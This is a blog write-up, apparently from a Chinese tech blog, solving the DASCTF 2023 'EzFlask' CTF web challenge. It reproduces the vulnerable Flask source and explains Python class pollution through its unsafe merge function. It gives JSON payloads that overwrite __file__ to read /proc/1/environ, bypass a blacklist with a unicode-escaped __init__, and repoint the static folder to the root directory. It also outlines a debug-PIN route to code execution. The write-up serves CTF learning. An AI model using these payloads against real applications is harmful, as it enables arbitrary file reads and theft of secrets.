DASCTF 2023 & 0X401七月暑期挑战赛 web题 EzFlask

2 篇文章 0 订阅

EzFlask

看源码,有注册和登入两个路由

mport uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

代码解释:

1.导入所需模块:

  • uuid:用于生成Flask应用程序的随机密钥。
  • Flaskrequestsession来自flask包:这些模块用于创建Web应用程序、处理HTTP请求和管理用户会话。
  • secret中的black_list:假设black_list包含敏感词汇列表。

2.设置Flask应用程序和密钥:

  • 创建一个Flask应用程序对象,并为其设置一个随机生成的密钥,这个密钥用于保护会话数据的安全性。

3.定义一个user类:

  • 该类包含了usernamepassword属性,并有一个check方法,用于检查用户输入的数据是否与当前实例的用户名和密码匹配。

 

 

4.定义了三个路由(route):

  • /register:处理用户注册的POST请求。
  • /login:处理用户登录的POST请求。
  • /:处理GET请求,用于显示当前代码文件的内容。

看到merge()函数  那么就可以使用Python原型链污染

具体内容可以看大佬文章:

https://www.cnblogs.com/Article-kelp/p/17068716.html

非预期解法:
第一种,通过file属性直接读取环境变量

__file__是从中加载模块的文件的路径名(如果它是从文件加载的)。__file__对于静态链接到解释器的C模块,该属性不存在。对于从共享库动态加载的扩展模块,它是共享库文件的路径名。

在您的情况下,模块正在__file__全局名称空间中访问其自己的属性。

因为__init__被ban了,所以可以利用全局变量直接使file为存储环境变量的文件

payload;

{
    "username":"a",
    "password":"b",
    "__class__":{
        "check":{
            "__globals__":{
                "__file__" : "/proc/1/environ"
            }
        }
    }
}
 

 

通过/路由可以看出,该路由直接通过__file__属性来读取文件并进行输出,所以直接访问就可以了

第二种,static静态目录污染

_static_url_path
这个属性中存放的是flask中静态目录的值,默认该值为static。访问flask下的资源可以采用如http://domain/static/xxx,这样实际上就相当于访问_static_url_path目录下xxx的文件并将该文件内容作为响应内容返回

 

所以我们可以直接构造payload来进行污染,题目过滤掉了__init__,但是check之后经历了一次json.loads,而且json识别unicode,所以我们可以通过Unicode编码进行绕过

payload: 

{
    "__init\u005f_":{
        "__globals__":{
            "app":{
                "_static_folder":"/"
            }
        }
    },
    "username":1,
    "password":1
}
 

构造之后_static_folder的值就变成根目录了 

然后可以读取环境变量来得到flag

预期解法

题目是开启了flask的debug模式,访问console控制台,然后配合任意文件读取来计算PIN码,最后进行RCE

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值